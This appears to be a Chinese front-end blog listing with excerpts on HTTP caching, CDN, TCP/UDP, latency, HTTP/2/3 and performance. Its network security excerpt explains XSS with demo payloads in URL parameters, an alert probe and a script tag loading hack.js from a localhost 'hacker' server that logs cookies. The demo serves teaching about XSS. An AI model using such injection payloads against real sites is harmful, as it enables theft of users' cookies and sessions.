浏览器的缓存机制解析

概述 浏览器的缓存机制也就是我们说的HTTP缓存机制,其机制是根据HTTP报文的缓存标识进行的,所以在分析浏览器缓存机制之前,我们先使用图文简单介绍一下HTTP报文,HTTP报文分为两种: HTTP请求(Request)报文,报文格式为:请求行 – HTTP头(通用信息头,请求头,实体头) – 请求报文主体(只有POST才有报文主体),如下图 HTTP响应(Response)报文,报文格式为:状态行 – HTTP头(通用信息头,响应头,实体头) – 响应报文主体,如下图 注:通用信息头指的是请求和响应报文都支持的头域,分别为Cache-Control、Connection、Date、Pragma、Transfer-Encoding、Upgrade、Via;实体头则是实体信息的实体头域,分别为Allow、Content-Base、Content-Encoding、Content-Language、Content-Length、Content-Location、Content-MD5、Content-Range、Content-Type、Etag、Expires、Last-Modified、extension-header。这里只是为了方便理解,将通用信息头,响应头/请求头,实体头都归为了HTTP头。 以上的概念在这里我们不做多讲解,只简单介绍,有兴趣的童鞋可以自行研究。 缓存过程分析 浏览器与服务器通信的方式为应答模式,即是:浏览器发起HTTP请求 – 服务器响应该请求。那么浏览器第一次向服务器发起该请求后拿到请求结果,会根据响应报文中HTTP头的缓存标识,决定是否缓存结果,是则将请求结果和缓存标识存入浏览器缓存中,简单的过程如下图: 由上图我们可以知道: 浏览器每次发起请求,都会先在浏览器缓存中查找该请求的结果以及缓存标识 浏览器每次拿到返回的请求结果都会将该结果和缓存标识存入浏览器缓存中 以上两点结论就是浏览器缓存机制的关键,他确保了每个请求的缓存存入与读取,只要我们再理解浏览器缓存的使用规则,那么所有的问题就迎刃而解了,本文也将围绕着这点进行详细分析。为了方便大家理解,这里我们根据是否需要向服务器重新发起HTTP请求将缓存过程分为两个部分,分别是强制缓存和协商缓存。 强制缓存 强制缓存就是向浏览器缓存查找该请求结果,并根据该结果的缓存规则来决定是否使用该缓存结果的过程,强制缓存的情况主要有三种(暂不分析协商缓存过程),如下: 不存在该缓存结果和缓存标识,强制缓存失效,则直接向服务器发起请求(跟第一次发起请求一致),如下图: 存在该缓存结果和缓存标识,但该结果已失效,强制缓存失效,则使用协商缓存(暂不分析),如下图 存在该缓存结果和缓存标识,且该结果尚未失效,强制缓存生效,直接返回该结果,如下图 那么强制缓存的缓存规则是什么? 当浏览器向服务器发起请求时,服务器会将缓存规则放入HTTP响应报文的HTTP头中和请求结果一起返回给浏览器,控制强制缓存的字段分别是Expires和Cache-Control,其中Cache-Control优先级比Expires高。 Expires Expires是HTTP/1.0控制网页缓存的字段,其值为服务器返回该请求结果缓存的到期时间,即再次发起该请求时,如果客户端的时间小于Expires的值时,直接使用缓存结果。 Expires是HTTP/1.0的字段,但是现在浏览器默认使用的是HTTP/1.1,那么在HTTP/1.1中网页缓存还是否由Expires控制? 到了HTTP/1.1,Expire已经被Cache-Control替代,原因在于Expires控制缓存的原理是使用客户端的时间与服务端返回的时间做对比,那么如果客户端与服务端的时间因为某些原因(例如时区不同;客户端和服务端有一方的时间不准确)发生误差,那么强制缓存则会直接失效,这样的话强制缓存的存在则毫无意义,那么Cache-Control又是如何控制的呢? Cache-Control 在HTTP/1.1中,Cache-Control是最重要的规则,主要用于控制网页缓存,主要取值为: public:所有内容都将被缓存(客户端和代理服务器都可缓存) private:所有内容只有客户端可以缓存,Cache-Control的默认取值 no-cache:客户端缓存内容,但是是否使用缓存则需要经过协商缓存来验证决定 no-store:所有内容都不会被缓存,即不使用强制缓存,也不使用协商缓存 max-age=xxx (xxx is numeric):缓存内容将在xxx秒后失效 接下来,我们直接看一个例子,如下: 由上面的例子我们可以知道: HTTP响应报文中expires的时间值,是一个绝对值 HTTP响应报文中Cache-Control为max-age=600,是相对值 由于Cache-Control的优先级比expires,那么直接根据Cache-Control的值进行缓存,意思就是说在600秒内再次发起该请求,则会直接使用缓存结果,强制缓存生效。 注:在无法确定客户端的时间是否与服务端的时间同步的情况下,Cache-Control相比于expires是更好的选择,所以同时存在时,只有Cache-Control生效。 了解强制缓存的过程后,我们拓展性的思考一下: 浏览器的缓存存放在哪里,如何在浏览器中判断强制缓存是否生效? 这里我们以博客的请求为例,状态码为灰色的请求则代表使用了强制缓存,请求对应的Size值则代表该缓存存放的位置,分别为from memory cache 和 from disk cache。 那么from memory cache 和 from disk cache又分别代表的是什么呢?什么时候会使用from disk cache,什么时候会使用from memory cache呢? ...

July 28, 2025

CDN原理

CDN CDN 即内容分发网络(Content Delivery Network)的简称,是建立在承载网基础上的虚拟分布式网络,能够将源站内容(包括各类动静态资源)智能缓存到全球各节点服务器上。这样不仅方便了用户就近获取内容,提高了资源的访问速度,也分担了源站压力。 CNAME、A 记录、NS 记录 DNS ( Domain Name System,域名系统)提供了将域名转换为 IP 地址的服务。为了完成这个转化工作,DNS 的数据库中需要维护相关的数据,这些数据被叫做 RR(Resource Record,资源记录)。资源记录有很多种类型,比如 A、NS、SOA、CNAME 和 PTR 记录。 大家接触最多的就是 A(Address)记录。A 记录是一条从域名到 IP 地址的映射记录。而 CNAME(Canonical Name)记录是一条从域名到域名的映射记录。它在 CDN 技术中有举足轻重的作用,很好地实现了业务域名与 CDN 系统域名的解耦。简单理解,如果一个域名配置了 A 记录,DNS 就会把它解析成 A 记录指定的 IP 地址;如果一个域名配置了 CNAME 记录,DNS 就会把它解析成 CNAME 记录指定的另外一个域名;A 记录和 CNAME 记录是互斥的,不能同时存在。 NS (Name Server)记录是和 DNS 服务器相关的一条记录,它指定该域名应该由哪一台 DNS 服务器进行解析。一般把通过 NS 记录指定的 DNS 服务器叫做该域名的权威 DNS 服务器。 加速域名 加速域名指需要使用 CDN 加速的域名。加速域名也是一个域名。加速域名一般配置 CNAME 记录,指向 CDN 网络节点。普通域名一般配置 A 记录,指向提供服务的业务服务器。 ...

July 28, 2025

TCP和UDP

TCP/IP 五层模型 先看图,为网络模型分层,以及一个完整http请求在五层模型中的完整工作流程 应用层:最高层,提供特定于应用程序的协议,运行在该层的协议有HTTP、FTP、SSH、WebScoket等 传输层:为两个主机进程通信提供通用的数据传输协议,如TCP、UDP 网络层:负责寻址和路由功能,将数据包发送到特定的计算机,主要协议是IP协议,路由器就是在这一层 链路层:负责将二进制数据包和网络信号相互转换,交换机、网卡就是在这一层 物理层:主要有接收器、发送器、中继器、光纤电缆等 网络协议通过分层来明确每一层的工作职责,通过定义明确的接口来协同工作,第一层都可以使用下面各层的功能,而不用担心各层是怎么实现的。就好像我们开发封装组件一样,每一个组件各自负责各自的事,互不干扰,也提高了复用度,如上图文件基本传输过程,也就是http分层工作流程: 主机A发起请求,数据发送前会被分为许多片段,称为数据包,然后使用http协议将数据包封装,并加上请求头,传给下一层 传输层拿到数据,为每个数据包分配一个端口号,用来确定目标计算机的哪一个应用程序,然后使用TCP协议进行处理,加上TCP头或UDP头,通过TCP协议传给下一层 网络层拿到数据后为每个数据包添加目标计算机的IP地址,并决定传给什么路由或接收的主机,再封装传给下一层 链路层将数据转译成电子信号,进一步封装成数据帧,传给物理层 物理层通过电缆传送给主机B这边的链路层 主机B的链路层拿到数据后,检查每个包中的目标地址并确定将其发送到哪里,如果不是发给自己的就丢弃,然后根据数据确定协议类型,再传给网络层的IP协议模块 网络层接收到后拆开获取IP头,判断首部接收的IP地址匹配,然后根据头部协议类型,转发TCP或UDP等 传输层TCP收到后会计算校验,判断数据的完整性,然后处理数据包顺序接收的逻辑,最后根据端口确定要转发给应用层的哪个程序 最终应用层接到数据之后,根据http协议解析数据 这里只展开一下网络层的 IP 和传输层的 TCP 、UDP IP 如果是在局域网内都是用MAC地址通信,局域网之外,就得用IP了。MAC就像是身份证,IP就像是住址。所有TCP、UDP、ICMP等数据都是以IP数据报格式进行传输 IP协议本身不支持发往目的地址失败的IP数据包,也没有提供直接的方式获取诊断信息,比如发送途中经过哪些路由器,以及往返时间,而这就由ICMP协议来专门负责 ICMP并不为IP网络提供可靠性,只用于反馈各种故障和配置信息,丢包不会触发ICMP 我们常用的ping就是用ICMP查询报文。不过ping使用ICMP协议会直接跳过了传输层,所以ping程序是没有端口号的 IP协议的特点是: IP协议是不可靠的传输协议。如果 ICMP协议出现传输异常,IP都会丢弃数据包并可能会响应一个ICMP差错消息给发送端,而任何要求可靠性必须由上层如TCP协议来提供 IP协议是无连接的。就是不维护任何关于后续数据的状态信息,每个数据独立。表现在:可以不按发送顺序接收,不用维护连接状态,免去了维护复制的链路状态信息(TCP会讲到) UDP UDP的特点 无连接不需要握手和挥手就可以直接发送数据。 不可靠性:就是一个传递数据的搬运工,来一个包就发一个。不会备份,也不关心对方是否正确收到,传输顺序也无法保证。所以就只能由应用层来保证可靠,因为网络层也是不可靠的 在发送端应用层将数据传给传输层的UDP,它只加一个UDP头标识(UDP协议),就直接发给网络层了。 接收端在网络层将数据发给传输层,传输层UDP只去掉IP报文头就传给应用层了。 其他什么都不会管,不过这也减少开销和发送数据之前的延迟 支持广播:有单播,多播,广播的功能,不只支持一对一传输方式,还支持一对多,多对多的方式 首部开销小:8个字节(源端口号(非必填)、目的端口号、UDP长度(数据报的整个长度)、UDP检查和(检测UDP数据报是否有错或者目的端口找不到对应的进程,各2字节),因为它要求不高而且实现的功能没有那么多,所以首部字段不多,而TCP有20个字节。它的数据是可以为0的,所以它最少可以是8个字节 是面向报文的:适合一次性传输少量数据,因为应用层给UDP多长的报文都会照样发送,即一次发送一个完整的报文,即不合并也不拆分。如果报文太长的话,UDP完整的装进来交给网络层的话,网络层就要分片了,因为传给链路层的话它有一个MTU的要求,所以网络层就要分片,这会给网络层的效率造成影响 无拥塞控制:适合实时应用,因为它会一直以恒定的速度发送数据,即使网络条件不好,也不会对发送速率进行调整。这就导致在网络不好的情况下就有可能丢包,但优点也明显,在某些实时性要求高的场景比如说聊天、在线视频、网络语音电话等使用UDP而不是TCP,比如打微信电话出现偶尔断续不是太大问题。当然拥塞太严重也有一些补救措施比如向前纠错或者重传 UDP 为什么不可靠 传输数据之前不需要先建立连接 不保证消息交付,远程主机的传输层在接收到UDP报文后,不需要确认 不保证将会顺序,不设置包序号、不重排、不会发生队首阻塞 不进行拥塞控制,没有内置反馈机制,不重传、无超时 TCP 这是我们平时用的最多的协议,特别是前后端 TCP给应用程序提供了一种与UDP完全不同的服务 TCP是面向连接的可靠的服务,面向连接指TCP的两个应用程序必须在它们可交换数据之前,通过相互联系来建立一个TCP连接 TCP提供了一种字节流抽象概念给应用程序:不会自动插入记录标志或者消息边界,如发送端分别发10字节和30字节,接收端可能会以两个20字节的方式读入 TCP的特点 是面向连接的,通信之前双方必须要先建立连接 只支持单播,就是点对点的传输,一条TCP连接只能有两个端点 提供可靠交付的服务,有完整性校验、数据不会丢失,会丢包重传、且会按顺序到达 是面向字节流的。不像UDP那样一个个报文独立传输,而是在不保留报文边界的情况下以字节流方式进行传输 提供拥塞控制,当网络出现拥塞的情况,有流量控制,能够减少传输数据的速度和数量,缓解拥塞,保证稳定 提供全双工通信和可靠通信,指的是发送方和接收方可以同时发送数据也可以同时接收数据。因为两边都会设置有发送缓存和接收缓存 发送缓存就是发送缓存的队列里面有准备发送的数据和已经发送但是还没有收到来自接收方确认的数据,如果没有收到确认还要重发所以不能扔掉,将可能会被重传,因为TCP需要保证可靠传输 接收缓存就是按序到达但是还没有被接收应用程序读取的数据和没按序到达的数据,需要顺序排好了,接收方才能逐一接收数据 为什么说 TCP 是可靠的 因为接收方收到数据后会发送一个ACK确认应答消息,这样发送方就知道自己的数据被对方接收了,如果一直没有收到ACK一定时间后就会重发。因此就算数据没有发到接收方,或者接收方的ACK数据包丢失也有重传机制,确保双方最终可以通过重传也能正确收到消息 重传机制 由于TCP的下层网络层可能出现丢失、重复或乱序的情况,TCP协议需要提供可靠数据传输服务。 ...

July 28, 2025

网络延迟和丢包

1、什么是延迟呢? 延迟其实就是我们在网页浏览或者使用应用时,从我们点击请求到服务器返回结果给我们之间的时间差。就像你在跟朋友打电话,你说完话后,朋友听到并回应你所说话的时间差一样。 我们的最终目标是创建一个系统,让这个时间差变得尽可能短,也就是实现零延迟。但现实世界中,有各种各样的问题会导致系统出现延迟。如果系统的延迟很低,那么我们请求得到响应的时间就会很短。每次你在浏览器中输入网址或者点击一个链接,浏览器都会向服务器发出一个请求信号,然后服务器需要处理这个请求,获取需要的信息,最后把这些信息返回给你的浏览器。整个过程中就会有一些时间差,这就是延迟。所以,我们要不断努力降低延迟,提高系统的响应速度。 2、延迟是怎么回事呢? 延迟其实就是你在请求后需要等待的时间,就像等待快递送到家门一样。来看个例子,更容易理解它是怎么运作的。 想象你正在和一个电子商务网站(比如淘宝)互动,你喜欢一个商品,然后把它加入购物车。现在,当你点击“添加到购物车”按钮时,下面的事情会依次发生: 你点击了“添加到购物车”按钮,这时就像你启动了一个计时器,浏览器开始向服务器发请求。 服务器收到请求,然后开始处理它,就像你的快递订单到了快递中心一样。 服务器处理完后,回应你的请求,信息到达你的浏览器,商品成功添加到购物车中,就像你的包裹送到了家门口一样。 你可以想象在第一步按下了计时器的启动按钮,然后在最后一步停下,这段时间就是延迟。希望这个例子能让你更容易理解延迟是如何运作的。 3、延迟都是怎么来的呢? 现在,你应该已经理解了要点,但是你知道是什么造成了延迟吗?网络中的延迟受多种因素影响,它们在确定延迟的具体数值时扮演着关键角色。其中一个主要因素是出站呼叫。回到之前添加购物车的例子,当你点击浏览器上的按钮时,请求会发送到后端的某个服务器,这个服务器可能会在内部调用多个服务来进行计算(可能是同时或者按顺序),然后等待它们的响应或将它们汇总。所有这些因素都会增加呼叫的延迟。但总结起来,主要由以下几个因素引起: 传输介质: 传输介质指的是信息在起点和终点之间的物理路径。系统的延迟会取决于用于传输请求的介质类型。广域网、光纤电缆等传输介质都广泛应用,但每种介质都有自己的限制,这会影响延迟。 传播延迟: 这指的是数据包从一个源传播到另一个源所需的时间。系统的延迟很大程度上取决于通信节点之间的距离。节点距离越远,系统的延迟就会越高。 路由器: 路由器在通信中扮演着重要的角色,它们需要一些时间来分析数据包的标头信息。延迟取决于路由器处理请求的效率。每一次路由器到路由器的跳跃都会增加系统的延迟。 存储延迟: 系统的延迟还受到所使用的存储系统类型的影响,因为处理和返回数据可能需要一些时间。因此,访问存储中的数据会增加系统的延迟。 4、如何测量延迟? 要量化延迟其实很简单,我们有几种常用的方法,让我们来看看最常见的三种: Ping(网络探测): Ping是测量延迟最常用的工具之一。它的原理是向目标地址发送一个小数据包,然后查看接收到响应所需的时间。更快的Ping意味着连接更敏捷,响应更迅速。 Traceroute(路径跟踪): Traceroute是另一个用于测试延迟的工具。它也使用数据包,但不止如此,它还会逐一记录数据包从源到目的地经过的每个中间节点所需的时间。这有助于识别网络中的延迟点。 MTR(网络诊断工具): MTR是Ping和Traceroute的超级组合。MTR提供了详尽的报告,列出了从一个端点到另一个端点所需的每个网络节点的信息。这份报告通常包括了各种细节,比如丢包率、平均延迟等,非常有助于分析网络性能。 5、延迟优化 延迟是系统性能的绊脚石,所以我们需要采取一些措施来进行优化。下面是一些简单又实用的方法,可以帮助我们减少延迟: 采用HTTP/2: 使用HTTP/2协议可以显著减少延迟。它支持并行传输,最大程度地减少了数据从发送方到接收方的往返次数,这对于降低延迟非常有效。 减少外部HTTP请求: 第三方服务会增加延迟。通过减少外部HTTP请求的数量,我们可以提高系统的响应速度和质量。 使用CDN: 内容分发网络(CDN)被证明能够减少延迟。CDN会在全球多个位置缓存资源,从而减少请求和响应的传输时间。这意味着可以从更接近客户端的缓存位置获取请求,而不必每次都回到原始服务器。 浏览器缓存: 利用浏览器缓存,可以减少向服务器发送的请求次数,从而降低延迟。浏览器会在本地缓存特定资源,这对于提高页面加载速度很有帮助。 优化磁盘I/O: 为了减小磁盘I/O的影响,我们需要优化算法,尽量减少频繁的磁盘写入操作。可以考虑使用直写式缓存、内存数据库,或者在适当的情况下进行写入合并,还可以考虑使用快速存储系统,比如SSD。 作为开发人员,我们还可以在应用程序级别采取一些方法来优化延迟: 避免低效算法: 高效的算法是代码中延迟的主要来源之一。要尽量避免不必要的循环或昂贵的嵌套操作。 避免锁定的设计模式: 锁定会引入延迟,因此我们应该采用避免锁定的设计模式,特别是在多线程环境中。 采用异步编程模型: 异步编程可以更好地利用硬件资源,因为它避免了阻塞操作,从而减少等待时间。 限制无界队列深度: 限制无界队列深度并提供反压通常可以减少代码中的等待时间,从而产生更可预测的延迟。 这些方法可以帮助我们优化延迟,提高系统性能,让用户获得更好的体验。 常见考点 在前端面试中,网络延迟和丢包是评估你对网络传输、性能瓶颈及应对策略理解的重要考点。面试官会通过这些话题判断能否从网络层面分析问题、优化用户体验,特别是在弱网环境、移动端场景下。 一、网络延迟的考点 1. 网络延迟的构成 面试官可能会问:“用户输入 URL 后,请求延迟可能发生在哪些阶段?” 阶段 含义 DNS 解析 域名 → IP 地址 TCP 建立连接 三次握手耗时 TLS 握手 HTTPS 建立安全连接耗时 请求发送 客户端发送数据 首字节返回 TTFB 服务端处理 + 网络传输 内容下载 响应内容下载耗时 渲染耗时 浏览器解析和绘制页面 2. 常见影响网络延迟的因素 地域距离:客户端与服务端物理距离大(如中国访问美国服务器) DNS 缓存未命中或 DNS 配置不合理 TLS 握手过长(HTTPS 开销) 带宽瓶颈:文件过大、网络拥堵 长连接未复用(未启用 HTTP/2) 移动网络抖动高(4G/5G 网络波动) 首包延迟(TTFB 过高) 3. 如何优化延迟? 启用 CDN,部署全球节点,减少 RTT 启用 DNS 预解析:<link rel="dns-prefetch"> 启用 HTTP/2 或 HTTP/3,减少连接耗时 减少重定向跳转、合并请求 使用 preconnect、prefetch 提前连接目标源 SSR 提前输出首屏 HTML,减少白屏 缓存优化(减少服务端响应压力) 二、丢包的考点 1. 丢包的本质 网络传输中,部分数据包因链路拥堵、信号弱、硬件丢包率高等原因,未能到达目的地。 ...

July 28, 2025

网络安全

1、XSS Cross Site Scripting 又叫做跨站脚本攻击,本身应该叫做CSS,但是由于CSS被占用,无奈下叫做XSS what is XSS? 我们先从字面意义上看一下,跨站->顾名思义就是我们从一个网站跑到了另外一个网站上,脚本->也就是我们往页面中写了脚本内容,可以理解为写了js代码,那么最后我们对网站造成了攻击。就是攻击者想尽一切办法将可以执行的代码注入到网页中。 例如: 我们在登录了一个网站之后,一般都会把登录状态保存在cookie中,当我们去访问另外一个网站的时候,就会读取到cookie XSS危害 1、利⽤虚假输⼊表单骗取⽤户个⼈信息。 2、利⽤脚本窃取⽤户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求。 3、显示伪造的⽂章或图⽚。 简单演示 // 普通 http://localhost:3000/?from=china // alert尝试 http://localhost:3000/?from=<script>alert(3)</script> // 如果可以弹出3,证明这个输入框没有过滤html标记 模拟获取cookie http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"> 后台代码 const koa = require('koa'); // 启动在4000端口上 const chalk = require('chalk') const log = contents => { console.log(chalk.red(contents)) //打印cookie } // 模拟黑客网站 const app = new koa(); module.exports = app 存储型(server端): 场景:见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。 攻击步骤: 1、攻击者将恶意代码提交到目标网站的数据库中 2、用户打开目标网站时,服务端将恶意代码从数据库中取出来,拼接在HTML中返回给浏览器 3、用户浏览器在收到响应后解析执行,混在其中的恶意代码也同时被执行 4、恶意代码窃取用户数据,并发送到指定攻击者的网站,或者冒充用户行为,调用目标网站的接口,执行恶意操作 反射型(Server端) 与存储型的区别在于,存储型的恶意代码存储在数据库中,反射型的恶意代码在URL上 场景:通过 URL 传递参数的功能,如网站搜索、跳转等。 攻击步骤: 1、攻击者构造出特殊的 URL,其中包含恶意代码。 2、用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。 3、用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。 4、恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。 Dom 型(浏览器端) DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。 ...

July 28, 2025

http2.0/http3.0

前言 HTTP/2 相比于 HTTP/1,可以说是大幅度提高了网页的性能,只需要升级到该协议就可以减少很多之前需要做的性能优化工作,当然兼容问题以及如何优雅降级应该是国内还不普遍使用的原因之一。 虽然 HTTP/2 提高了网页的性能,但是并不代表它已经是完美的了,HTTP/3 就是为了解决 HTTP/2 所存在的一些问题而被推出来的。 一、HTTP 协议 HTTP 协议是 HyperText Transfer Protocol(超文本传输协议)的缩写,它是互联网上应用最为广泛的一种网络协议。所有的 WWW 文件都必须遵守这个标准。伴随着计算机网络和浏览器的诞生,HTTP1.0 也随之而来,处于计算机网络中的应用层,HTTP 是建立在 TCP 协议之上,所以HTTP 协议的瓶颈及其优化技巧都是基于 TCP 协议本身的特性,例如 tcp 建立连接的 3 次握手和断开连接的 4 次挥手以及每次建立连接带来的 RTT 延迟时间。 二、HTTP/1.x 的缺陷 连接无法复用:连接无法复用会导致每次请求都经历三次握手和慢启动。三次握手在高延迟的场景下影响较明显,慢启动则对大量小文件请求影响较大(没有达到最大窗口请求就被终止)。 HTTP/1.0 传输数据时,每次都需要重新建立连接,增加延迟。 HTTP/1.1 虽然加入 keep-alive 可以复用一部分连接,但域名分片等情况下仍然需要建立多个 connection,耗费资源,给服务器带来性能压力。 Head-Of-Line Blocking(HOLB):导致带宽无法被充分利用,以及后续健康请求被阻塞。HOLB是指一系列包(package)因为第一个包被阻塞;当页面中需要请求很多资源的时候,HOLB(队头阻塞)会导致在达到最大请求数量时,剩余的资源需要等待其他资源请求完成后才能发起请求。 HTTP 1.0:下个请求必须在前一个请求返回后才能发出,request-response对按序发生。显然,如果某个请求长时间没有返回,那么接下来的请求就全部阻塞了。 HTTP 1.1:尝试使用 pipeling 来解决,即浏览器可以一次性发出多个请求(同个域名,同一条 TCP 链接)。但 pipeling 要求返回是按序的,那么前一个请求如果很耗时(比如处理大图片),那么后面的请求即使服务器已经处理完,仍会等待前面的请求处理完才开始按序返回。所以,pipeling 只部分解决了 HOLB。 如上图所示,红色圈出来的请求就因域名链接数已超过限制,而被挂起等待了一段时间。 协议开销大: HTTP1.x 在使用时,header 里携带的内容过大,在一定程度上增加了传输的成本,并且每次请求 header 基本不怎么变化,尤其在移动端增加用户流量。 安全因素:HTTP1.x 在传输数据时,所有传输的内容都是明文,客户端和服务器端都无法验证对方的身份,这在一定程度上无法保证数据的安全性 三、SPDY 协议 因为 HTTP/1.x 的问题,我们会引入雪碧图、将小图内联、使用多个域名等等的方式来提高性能。不过这些优化都绕开了协议,直到 2009 年,谷歌公开了自行研发的 SPDY 协议,主要解决 HTTP/1.1 效率不高的问题。谷歌推出 SPDY,才算是正式改造 HTTP 协议本身。降低延迟,压缩 header 等等,SPDY 的实践证明了这些优化的效果,也最终带来 HTTP/2 的诞生。 ...

July 28, 2025

http2.0 服务端推送

HTTP/2.0 的 服务端推送(Server Push) 是它相较于 HTTP/1.x 引入的一项重要功能,旨在优化网页加载性能,尤其是首次加载时资源依赖的获取效率。 一、什么是服务端推送? HTTP/2 Server Push 允许服务器主动将资源“推送”给客户端,而不是等待客户端明确请求。这在某些场景下可以预加载依赖资源、减少请求延迟,提升页面的首屏加载速度。 例如: 客户端请求了 HTML 页面,服务器可以在返回 HTML 的同时,主动推送页面所需的 CSS/JS 资源。 二、服务端推送的工作原理 流程概览: 浏览器发送主资源请求(如 HTML); 服务器识别该请求需要哪些依赖资源(如 CSS、JS); 服务器将这些资源 打包为 PUSH_PROMISE 帧 发送给客户端,声明它即将发送的资源; 客户端接收到 PUSH_PROMISE 后,会缓存该资源的响应; 当浏览器稍后真正需要这个资源时,不会再发起真实请求,而是从缓存中获取推送的内容; 避免了请求的 RTT 往返延迟。 技术细节: PUSH_PROMISE 是 HTTP/2 中新增的帧类型,用于声明服务器准备推送的资源; 所有推送的资源都绑定到一个主请求流(主页面),不能独立存在; 客户端可选择 拒绝(RST_STREAM) 不想要的推送资源; 推送资源会根据缓存策略存储在浏览器的缓存中,不一定立即使用。 三、实际示例(Nginx + Link Header) 在使用 Nginx 部署 HTTP/2 服务时,可以通过 Link 响应头启用 Server Push: location = /index.html { http2_push /style.css; http2_push /main.js; } 或者使用 Link 响应头方式: ...

July 28, 2025

网络性能优化

浏览器在加载页面时,大量的性能瓶颈集中在资源的请求、传输、解析与执行上。因此,网络层的性能优化主要目标是:减少请求次数、降低资源大小、缩短首屏时间、提升加载体验。 一、请求数量优化 1. 合理拆分和合并资源 按需加载(lazy loading / dynamic import):不一次加载所有模块,只加载当前页面/功能所需资源。 资源合并(资源打包):减少请求数量,如合并多个 CSS/JS 文件(现代工具也支持 HTTP2 下保留拆分)。 服务端渲染/预渲染:减轻首屏资源请求压力。 2. 使用缓存避免重复请求 使用浏览器缓存控制(Cache-Control、ETag、Last-Modified); 对于不变资源,设置强缓存(immutable); 对接口返回数据做缓存(前端缓存策略或 HTTP 层缓存); 本地缓存,如 IndexedDB / LocalStorage 存储接口数据。 二、资源体积优化 1. 压缩与代码优化 启用 Gzip / Brotli 压缩静态资源(HTML、CSS、JS); 压缩图像(WebP、AVIF)、字体、视频等媒体资源; 减少 polyfill 体积(如使用 core-js 按需引入); 移除无用代码(Tree Shaking、CSS Purge、babel-plugin-transform-remove-console); 2. 精简传输内容 请求接口时使用精简字段、分页、后端裁剪; GraphQL 可按需返回字段,减少冗余数据传输; 降低 Cookie 和请求头大小,避免请求体负担。 三、加载顺序与优先级优化 1. 关键资源优先加载 使用 preload、prefetch、dns-prefetch 等 <link> 标签提示浏览器提前加载; 使用 Webpack 的资源预加载配置控制打包 chunk 优先级; 首屏资源内联(inline critical CSS)避免阻塞渲染。 2. 非关键资源延后加载 图片懒加载(loading="lazy"、IntersectionObserver); JS 异步加载(<script async|defer>); 第三方 SDK、监控等可延迟初始化。 四、协议与传输层优化 1. 使用 HTTP/2 或 HTTP/3 多路复用,减少 TCP 连接数,提高并发请求效率; 头部压缩与服务器推送(HTTP/2 Push); HTTP/3 基于 QUIC,有更快的连接建立速度与更少的丢包重传。 2. 减少不必要的重定向 避免链式跳转; 减少使用 302/301 等中间状态跳转,优化首次加载路径。 五、安全策略与跨域优化 合理设置 CORS,减少 preflight 请求; 使用同源策略时避免冗余 OPTIONS 请求; 减少跨域请求带来的额外开销(如 DNS、TLS 握手等)。 六、CDN 与资源分发优化 使用 CDN 加速静态资源访问,减少物理距离造成的 RTT; 使用全局 CDN 覆盖,支持边缘缓存与智能调度; 配合版本号和 Hash 控制缓存刷新策略。 七、服务端协同优化 接口合并:多个小请求可由后端合并为一次大请求返回; 接口压缩与限流:避免无用数据占带宽; 优化接口响应结构与字段粒度; 为前端提供异步批量资源接口(如配置/字典项/用户信息等合并加载); 八、实际指标与监控优化点 首字节时间(TTFB)优化; 首屏渲染时间(FCP、LCP)优化; 页面总加载时间(Fully Loaded)优化; 网络错误率(如资源 404、接口失败率)监控; 使用 Performance API、Web Vitals、Lighthouse 工具分析网络瓶颈。 要点总结 网络优化的本质是:更快、更少、更智能地请求资源; 从请求数量、资源大小、传输协议、加载优先级、缓存策略、CDN 分发等多个维度同时入手; 优化不是单一操作,而是持续评估、定位瓶颈、迭代调整的过程; 实际开发中建议结合 Chrome DevTools、Lighthouse、Performance API 等工具进行精细化分析与验证。 常见考点 前端“网络层面的性能优化”是高频面试考点,涵盖了从资源加载、缓存、连接管理,到协议选择等多个方向。面试时往往从“用户输入 URL 到页面加载”这条链路入手,考查在网络传输环节提升页面性能的能力。 ...

July 28, 2025

浏览器渲染过程中的网络层面

一、梳理主干流程 知识体系中,最重要的是骨架,脉络。有了骨架后,才方便填充细节。所以,先梳理下主干流程: 浏览器接收url并开启一个新进程(这一部分可以展开浏览器的进程与线程的关系) 浏览器解析输入的 URL,提取出其中的协议、域名和路径等信息。(这部分涉及URL组成部分) 浏览器向 DNS 服务器发送请求,DNS服务器通过 多层查询 将该 域名 解析为对应的 IP地址 ,然后将请求发送到该IP地址上,与 服务器 建立连接和交换数据。(这部分涉及DNS查询) 浏览器与服务器建立 TCP 连接。(这部分涉及TCP三次握手/四次挥手/5层网络协议) 浏览器向服务器发送 HTTP 请求,包含请求头和请求体。(4,5,6,7包含http头部、响应码、报文结构、cookie等知识) 服务器接收并处理请求,并返回响应数据,包含状态码、响应头和响应体。 浏览器接收到响应数据,解析响应头和响应体,并根据状态码判断是否成功。 如果响应成功,浏览器接收到http数据包后的解析流程(这部分涉及到html - 词法分析,解析成DOM树,解析CSS生成CSSOM树(样式树),合并生成render渲染树(样式计算)。然后layout布局,分层,调用GPU绘制等,最后将绘制的结果合成最终的页面图像,显示在屏幕上。这个过程会发生回流和重绘)。 连接结束 -> 断开TCP连接 四次挥手 梳理出主干骨架,然后就需要往骨架上填充细节内容。 接下来重点介绍“浏览器渲染过程中的网络层面”。 二、浏览器接收url并开启一个新进程 这部分内容开始之前我们需要先通过一张图对 进程 和 线程 的关系有一个初步的了解。 1. 浏览器是多进程的 浏览器是多进程的,有一个主进程,每打开一个tab页面都会新开一个进程(某些情况下多个tab会合并进程)。 注意:在这里浏览器应该也有自己的优化机制,有时候打开多个tab页后,比如打开多个空白标签页。可以在Chrome任务管理器中看到,进程被合并了。 进程可能包括主进程,插件进程,GPU,tab页(浏览器内核)等等。 Browser进程:浏览器的主进程(负责协调、主控),只有一个。 第三方插件进程:每种类型的插件对应一个进程,仅当使用该插件时才创建。 GPU进程:最多一个,用于3D绘制等。 浏览器渲染进程(浏览器内核)(内部是多线程的):默认每个Tab页面一个进程,互不影响。作用是页面渲染,脚本执行,事件处理等。(浏览器有时候会优化,如多个空白页合并成一个进程) 强化记忆:在浏览器中打开一个网页相当于新起了一个进程(进程内有自己的多线程) 下图以 chrome浏览器 为例。我们可以自己通过Chrome的更多工具 =》 任务管理器 